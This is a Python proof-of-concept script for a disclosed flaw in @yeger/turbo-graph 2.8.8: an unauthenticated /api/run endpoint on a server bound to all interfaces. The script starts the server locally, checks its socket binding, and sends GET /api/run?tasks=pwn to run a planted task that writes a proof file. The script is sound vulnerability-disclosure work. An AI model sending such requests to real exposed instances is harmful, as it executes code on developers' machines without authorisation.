#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution
Package:  @yeger/turbo-graph@2.8.8
CWE:      CWE-306 (Missing Authentication for Critical Function)
CVSS:     8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Two independent flaws combine into the vulnerability:
  1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a
     hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).
  2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler
     has zero authentication; attacker-supplied ?tasks= values are passed
     directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).

Attack scenario reproduced here:
  - Victim runs `turbo-graph` from a project with a side-effecting task.
  - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.
  - The server executes `turbo run pwn` in the victim's project directory.
  - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.
"""

import os
import socket
import subprocess
import sys
import time
import urllib.error
import urllib.request

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
PROOF_FILE = "/tmp/poc-proof.txt"
PORT = 29312
VICTIM_DIR = "/victim"
TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph")
SERVER_STARTUP_TIMEOUT = 120   # seconds; Next.js production startup can be slow
REQUEST_TIMEOUT = 90            # seconds to wait for the SSE stream to finish


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def wait_for_port(host: str, port: int, timeout: int) -> bool:
    """Poll until the TCP port accepts connections or timeout expires."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=2):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(1)
    return False


def get_socket_binding(port: int) -> str:
    """Return the raw 'ss' output for the listening socket on *port*."""
    try:
        result = subprocess.run(
            ["ss", "-tlnp", f"sport = :{port}"],
            capture_output=True,
            text=True,
            timeout=5,
        )
        return result.stdout.strip()
    except Exception as exc:
        return f"(ss unavailable: {exc})"


def binding_is_all_interfaces(ss_output: str) -> bool:
    """Return True when the socket is listening on all interfaces."""
    return any(
        marker in ss_output
        for marker in ("0.0.0.0", "*:", "[::]", ":::")
    )


def read_sse_stream(url: str, timeout: int) -> list:
    """
    Open *url* as a Server-Sent Events stream and return parsed events.
    Each event is a dict with keys 'type' and optionally 'data'.
    Stops when an 'end' event is received or *timeout* seconds elapse.
    """
    events = []
    try:
        req = urllib.request.Request(
            url,
            headers={
                "Accept": "text/event-stream",
                "Cache-Control": "no-cache",
                "Connection": "keep-alive",
            },
        )
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            print(f"  [HTTP] {resp.status} {resp.reason}")
            print(f"  [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")
            buf = ""
            deadline = time.time() + timeout
            while time.time() < deadline:
                chunk = resp.read(4096)
                if not chunk:
                    break
                buf += chunk.decode("utf-8", errors="replace")
                # Parse complete SSE blocks (separated by blank lines)
                while "\n\n" in buf:
                    block, buf = buf.split("\n\n", 1)
                    ev: dict = {}
                    for line in block.strip().split("\n"):
                        if line.startswith("event: "):
                            ev["type"] = line[7:]
                        elif line.startswith("data: "):
                            ev["data"] = line[6:]
                        # ignore SSE comments (':') and 'retry:' lines
                    if ev.get("type"):
                        events.append(ev)
                        preview = ev.get("data", "")[:120]
                        print(f"  [SSE]  event={ev['type']}  data={preview}")
                        if ev["type"] == "end":
                            return events
    except urllib.error.HTTPError as exc:
        print(f"  [!] HTTP error: {exc.code} {exc.reason}")
    except Exception as exc:
        print(f"  [!] Stream error: {type(exc).__name__}: {exc}")
    return events


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------

def main() -> int:
    sep = "=" * 64
    print(sep)
    print("VULN-001 PoC  —  Unauthenticated Turborepo Task Execution")
    print("Package : @yeger/turbo-graph@2.8.8")
    print("CWE-306 : Missing Authentication for Critical Function")
    print(sep)
    print()

    # Remove stale proof file from a previous run
    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)

    # ------------------------------------------------------------------
    # Step 1: Start turbo-graph server from the victim project directory
    # The CLI does NOT pass a hostname to .listen(), so Node.js binds to
    # 0.0.0.0 (all interfaces) — see index.ts:44.
    # ------------------------------------------------------------------
    print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...")
    server = subprocess.Popen(
        [TURBO_GRAPH_BIN, "--port", str(PORT)],
        cwd=VICTIM_DIR,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )

    # ------------------------------------------------------------------
    # Step 2: Wait for the port to become available
    # ------------------------------------------------------------------
    print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...")
    ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT)
    if not ready:
        server.kill()
        stdout, _ = server.communicate()
        print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.")
        print(f"    stdout/stderr:\n{stdout[:2000]}")
        return 1
    print(f"[+] Server is accepting connections on port {PORT}.")

    # ------------------------------------------------------------------
    # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)
    # Flaw 1: .listen(port) without hostname → network-exposed.
    # ------------------------------------------------------------------
    ss_output = get_socket_binding(PORT)
    print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):")
    print(f"    {ss_output}")
    if binding_is_all_interfaces(ss_output):
        print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")
    else:
        print(f"[?] Could not confirm all-interface binding; proceeding with request test.")

    # ------------------------------------------------------------------
    # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request
    # Flaw 2: no authentication, authorisation, CSRF check, or task
    #         allowlist — see route.ts:156-177.
    # ------------------------------------------------------------------
    url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"
    print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):")
    print(f"    GET {url}")
    sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)

    # Allow a moment for any buffered I/O in the child process to flush
    time.sleep(3)

    # ------------------------------------------------------------------
    # Step 5: Evaluate exploitation results
    # ------------------------------------------------------------------
    exploited = os.path.exists(PROOF_FILE)
    proof_content = open(PROOF_FILE).read().strip() if exploited else ""

    start_event = next((e for e in sse_events if e.get("type") == "start"), None)
    end_event   = next((e for e in sse_events if e.get("type") == "end"),   None)
    log_events  = [e for e in sse_events if e.get("type") in ("log", "stderr")]

    print()
    print(sep)
    print("EVIDENCE SUMMARY")
    print(sep)

    # Evidence A: socket binding
    if binding_is_all_interfaces(ss_output):
        print(f"[A] FLAW-1  — Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}")
    else:
        print(f"[A] FLAW-1  — ss output: {ss_output[:80]}")

    # Evidence B: unauthenticated SSE response
    if start_event:
        print(f"[B] FLAW-2  — Unauthenticated /api/run accepted; SSE start args:")
        print(f"              {start_event.get('data', '')}")
    else:
        received = [e.get("type") for e in sse_events]
        print(f"[B] FLAW-2  — SSE events received: {received}")

    # Evidence C: turbo task exit code
    if end_event:
        print(f"[C] TURBO   — turbo run exit code: {end_event.get('data', '')}")

    # Evidence D: proof file (arbitrary code execution)
    if exploited:
        print(f"[D] EXPLOIT — Proof file created: {PROOF_FILE}")
        print(f"              Content: {proof_content}")
    else:
        print(f"[D] EXPLOIT — Proof file NOT created: {PROOF_FILE}")
        if log_events:
            print(f"    Task stdout/stderr (first 5 lines):")
            for ev in log_events[:5]:
                print(f"      [{ev['type']}] {ev.get('data', '')}")

    print(sep)

    # Clean up
    server.kill()
    server.wait(timeout=10)

    if exploited:
        print("\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.")
        return 0
    else:
        print("\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.")
        return 1


if __name__ == "__main__":
    sys.exit(main())